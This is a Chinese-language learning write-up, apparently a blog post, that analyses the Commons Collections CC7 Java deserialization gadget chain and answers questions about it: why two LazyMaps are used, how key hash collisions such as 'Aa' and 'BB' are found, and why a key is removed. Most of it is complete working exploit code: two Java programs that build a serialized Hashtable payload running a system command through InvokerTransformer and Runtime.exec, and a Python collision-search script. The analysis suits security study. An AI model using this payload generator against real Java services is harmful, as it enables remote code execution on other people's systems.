在学CC7的时候我有这么几个疑问
1.为什么要两个LazyMap
2.hashCode那一步怎么计算的
3.为什么要remove yy
4.为什么put两个
我们可以先看一下CC7的链子是怎么走的:
其实分析链子还是从命令执行走到readObject比较好理解,虽然比较麻烦,比较繁琐,但还是这样子分析提升比较大,主要是知道自己在写啥,知道某个地方我们需要传入什么,不用抄一份payload去调试。
我们从LazyMap这个点开始,因为LazyMap前面我们都很熟悉了,现在我们的目的是找何处调用了get,右键get,查找方法,有一千多个,最后定位在了AbstractMap这里,AbstractMap.equals调用了get,所以只要何处调用了equals,就可以继续下一步
这里有个很关键的点,就是AbstractMap是被HashMap继承的
而且equals这个方法AbstractMap有并且调用了get,但是HashMap没有equals这个方法。即只要调用了HashMap.equals就会调用AbstractMap.equals,然后会调用LazyMap.get,一切就大功告成了
继续往上,在HashTable中的reconstitutionPut方法调用了key.equals,所以只要控制key的类型为HashMap就可以了
而reconstitutionPut也在HashTable的readObject中调用了
到此我们就可以开始编写EXP了,因为如果不从Hashtable这个类来写的话利用AbstractMap这个抽象类不put东西的时候是进不到LazyMap.get的,但是如果put东西了就会过不了LazyMap.get里面判断键存不存在。然后自相矛盾,所以只能从Hashtable开始编写了:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap1 = LazyMap.decorate(hashMap, new ConstantTransformer(1));
lazymap1.put("Aa", "value");
HashMap<Object, Object> hashMap1 = new HashMap<>();
Map lazymap2 = LazyMap.decorate(hashMap1, chainedTransformer);
lazymap2.put("BB", "value");
Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
objectObjectHashtable.put(lazymap1, 1);
objectObjectHashtable.put(lazymap2, 2);
serialize(objectObjectHashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}
解疑一:为什么remove(Aa)
我们用这个代码的时候发现序列化的时候可以弹计算器,但是反序列化却不行。其实还是老毛病,就是在执行objectObjectHashtable.put(lazymap2, 2);
的时候会put进去一个元素:
(下图是序列化的时候put进去一个键)
所以反序列的时候进不了那个判断键是否存在的判断:
(下图是反序列化的时候过不了的那个判断)
因此要remove(Aa)这样子才能过那个判断。
解疑二:Hashtable为什么要put两个
我们需要执行Hashtable的e.key.equals,而要执行这个语句需要有两个Entry才能进行遍历,并且会执行第二个Entry的e.key.equals,所以我们需要在第二个Entry中传入恶意链(当然方便起见也可以两个都传)。因此需要两个LazyMap,从而put两个。
(下图是反序列化的时候需要进入并执行的for循环)
解疑三:对于LazyMap.put里面的字母有要求吗?
答案是有,还是上面那张图,就是进入了for循环,还得过前半个判断。因为 0&&xxx,xxx是不会被执行的,所以我们要确保e.hash==hash,即我们第一个传入的LazyMap的ke的.hash值和第二个传入LazyMapkey的的hash值要相等。
怎么确保他们相等呢?可以先调试进去看一下:
可以看到他的计算规律就是
第一次计算val[i]是A,A的ascii码值为65,h值就是65。
第二次计算var[i]是a, a的ascii码是97,所以第二次计算就是31*65 + 97 = 2112
从此我们可以写一个脚本:
import string
code = string.ascii_uppercase + string.ascii_lowercase
def hashCode(hashString):
return 31 * ord(hashString[0]) + ord(hashString[1])
for i in code:
for j in code:
for m in code:
for n in code:
str1 = i + j
str2 = m + n
if str1 != str2 and hashCode(str1) == hashCode(str2):
print("值为:" + str(hashCode(str1)) + " " + "code1:" + str(str1) + " " + "code2:" + str(str2))
只要是跑出来的组合都可以使用。
由于上面那个代码序列化的时候也会弹计算器,这是我们不希望的,因此我们利用反射改进一下代码:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[0]);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> lazymap1 = LazyMap.decorate(hashMap, new ConstantTransformer(1));
lazymap1.put("Aa", "value");
HashMap<Object, Object> hashMap1 = new HashMap<>();
Map lazymap2 = LazyMap.decorate(hashMap1, chainedTransformer);
lazymap2.put("BB", "value");
Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>();
objectObjectHashtable.put(lazymap1, 1);
objectObjectHashtable.put(lazymap2, 2);
lazymap2.remove("Aa");
Class<ChainedTransformer> chainedTransformerClass = ChainedTransformer.class;
Field iTransformers = chainedTransformerClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
// serialize(objectObjectHashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
return objectInputStream.readObject();
}
}